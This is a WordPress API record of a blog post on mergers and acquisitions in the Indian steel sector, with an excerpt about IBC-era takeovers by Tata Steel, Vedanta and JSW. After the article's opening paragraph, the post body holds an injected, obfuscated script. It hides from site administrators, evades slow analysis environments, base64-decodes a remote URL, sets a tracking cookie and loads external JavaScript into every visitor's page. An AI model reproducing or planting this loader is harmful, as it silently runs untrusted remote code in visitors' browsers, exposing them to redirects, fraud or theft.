{"id":4719,"date":"2019-01-12T10:00:32","date_gmt":"2019-01-12T04:30:32","guid":{"rendered":"http:\/\/tapmi.finance\/?p=4719"},"modified":"2026-05-26T21:19:53","modified_gmt":"2026-05-26T20:19:53","slug":"mergers-and-acquisitions-the-game-of-consolidation-in-the-indian-steel-sector","status":"publish","type":"post","link":"https:\/\/tapmi.finance\/index.php\/2019\/01\/12\/mergers-and-acquisitions-the-game-of-consolidation-in-the-indian-steel-sector\/","title":{"rendered":"Mergers and Acquisitions, The game of consolidation in the Indian steel sector"},"content":{"rendered":"\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/financetapmi.files.wordpress.com\/2019\/01\/image-2.png\" alt=\"\" class=\"wp-image-4727\" \/><\/figure>\n\n\n\n<p>Steel is the most crucial material in industrial development and infrastructure construction, and is, therefore, of strategic importance for national transformation. Large economies around the world have achieved their economic development, prosperity, and growth strongly supported by a robust, sustainable and reliable domestic steel industry. In 2014, the Indian steel industry reeled due to scarcity of raw materials, supply-demand imbalance due to excessive capacity and moderate domestic demand, and surging imports from nations like China, South Korea, Japan, etc. in the absence of adequate tariff and non-tariff barriers against the dumping of steel and Free Trade Agreements (FTA&#8217;s) providing a very low duty protection.\u00a0\u00a0 <\/p>\n\n\n\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Steel being one of the important materials of industrial development,<br \/>\ndetermines much of a country\u2019s economic development and growth. However,<br \/>\ndue to its oversupply across the globe, market players in India needed to sell<br \/>\nthe steel products at a lower cost. Low capacity utilization further decreased the<br \/>\nproduction and sales volume of Indian Steel Industry. These made the highly<br \/>\nleveraged firms incapable of repaying their debts and be listed as defaulters by<br \/>\nthe RBI.<br \/>\nInsolvency and Bankruptcy Code (IBC), thereby, proposed a paradigm shift<br \/>\nfrom \u2018Debtor in possession\u2019 to \u2018Creditor in control\u2019 as a new plan for liquidation<br \/>\nof new stressed assets. For existing ones, it allowed acquisitions by the existing<br \/>\nplayers. This led to the acquisition of Bhusan Steel Limited (BSL) by Tata Steel,<br \/>\nElectrosteel Steels by Vedanta and Monnet Ispat &amp; Energy Ltd by JSW steel.<br \/>\nSuch acquisitions did not only increased the capacity utilisation and profitability<br \/>\nof the acquirers, but also aided the lenders of the stressed assets realise amounts<br \/>\nto pacify their losses, thereby boosting the overall economy.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4719","post","type-post","status-publish","format-standard","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/4719","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/comments?post=4719"}],"version-history":[{"count":1,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/4719\/revisions"}],"predecessor-version":[{"id":16640,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/4719\/revisions\/16640"}],"wp:attachment":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/media?parent=4719"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/categories?post=4719"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/tags?post=4719"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}